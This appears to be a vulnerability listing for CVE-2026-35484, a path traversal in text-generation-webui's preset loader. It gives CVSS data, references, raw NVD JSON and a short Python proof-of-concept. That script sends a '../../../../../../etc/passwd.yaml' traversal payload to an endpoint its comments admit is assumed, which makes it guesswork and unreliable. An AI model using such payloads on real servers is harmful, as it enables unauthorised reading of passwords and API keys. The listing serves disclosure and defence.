CVE-2026-35484

Description

text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.3, an unauthenticated path traversal vulnerability in load_preset() allows reading any .yaml file on the server filesystem. The parsed YAML key-value pairs (including passwords, API keys, connection strings) are returned in the API response. This vulnerability is fixed in 4.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:oobabooga:textgen:*:*:*:*:*:*:*:* - VULNERABLE

text-generation-webui < 4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual target)
target_url = "http://localhost:7860/api/v1/load-preset"

# Malicious payload to traverse directories and read a config file
# Assuming the endpoint takes a 'preset_name' parameter
payload = {
    "preset_name": "../../../../../../etc/passwd.yaml"  # Example target, though it specifically looks for .yaml
}

try:
    # Send the request without authentication
    response = requests.get(target_url, params=payload, timeout=10)
    
    # Check if the request was successful
    if response.status_code == 200:
        print("[+] Request successful!")
        print("[+] Response content:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35484
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35484
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35484/
[4] VulDB https://vuldb.com/cve/CVE-2026-35484
[5] https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-w3cv-4447-5hf5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35484", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:45.530", "lastModified": "2026-04-28T21:39:46.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.3, an unauthenticated path traversal vulnerability in load_preset() allows reading any .yaml file on the server filesystem. The parsed YAML key-value pairs (including passwords, API keys, connection strings) are returned in the API response. This vulnerability is fixed in 4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oobabooga:textgen:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3", "matchCriteriaId": "9A2B642B-80A8-46E1-931D-C5541264290A"}]}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-w3cv-4447-5hf5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}